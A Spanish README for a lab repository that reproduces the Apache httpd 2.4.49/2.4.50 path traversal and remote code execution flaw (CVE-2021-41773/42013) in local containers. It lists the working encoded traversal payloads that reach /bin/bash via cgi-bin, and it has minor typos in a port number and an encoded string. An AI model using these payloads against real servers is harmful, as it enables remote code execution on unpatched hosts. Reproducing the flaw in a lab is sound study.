Apache httpd RCE

Se encontró una falla en un cambio realizado en la normalización de rutas en Apache HTTP Server 2.4.49. Un atacante podría utilizar un ataque de path traversal para asignar URLs a archivos fuera de los directorios configurados mediante directivas similares a Alias. Si los archivos fuera de estos directorios no están protegidos por la configuración predeterminada "require all denied", estas solicitudes pueden tener éxito. Si además los scripts CGI están habilitados para estas rutas aliasadas, esto podría permitir la ejecución remota de código. Se sabe que este problema ha sido explotado activamente. Este problema solo afecta a Apache 2.4.49 y no a versiones anteriores. La corrección en Apache HTTP Server 2.4.50 fue incompleta; consulte CVE-2021-42013.

• Detalles del CVE
• Fuente

Versiones afectadas

• 2.4.49
• 2.4.50

Versiones corregidas

• 2.4.51

Requisitos previos

• podman (o alias de podman como docker)
• python3 y pip3
• colorama (biblioteca de Python; se instala con pip3 install colorama)

Archivos

• httpd.conf la configuración predeterminada de Apache (con el módulo CGI habilitado)
• hello.pl un ejemplo de script CGI perl hello-world que se ejecuta en los contenedores
• main.py un script de exploit de ejemplo en Python

Reproducción

Inicie un Apache httpd vulnerable (con la configuración predeterminada) como contenedor docker/podman.

1. Compile ambas imágenes de contenedor 1.1 chmod +x ./build.sh 1.2 ./build.sh
2. Inicie los contenedores Apache httpd vulnerables 2.1 chmod +x ./run.sh 2.2 ./run.sh
3. verifique que el servidor web esté en ejecución 3.1 curl localhost:2449/cgi-bin/hello.pl 3.2 curl localhost:2450/cgi-bin/hello.pl

1. ejecute el script de exploit 1.1 python3 main.py localhost:4249 1.2 seleccione el ataque para la versión 2.4.49 1.3 python3 main.py localhost:2450 1.4 seleccione el ataque para la versión 2.4.50

Explicación

El exploit utilizará el módulo CGI de Apache httpd para permitir la ejecución de ejecutables arbitrarios mediante path traversal.

• /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash
• /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash

.%2e/ está codificado en URL y equivale a ../ si se decodifica. .%%32%658 está doblemente codificado en URL y también equivale a ../ si se decodifica.

Créditos

• Autor del exploit: Valentin Lobstein
• Enlace del software: https://github.com/Balgogan/CVE-2021-41773
• Lucas Schnell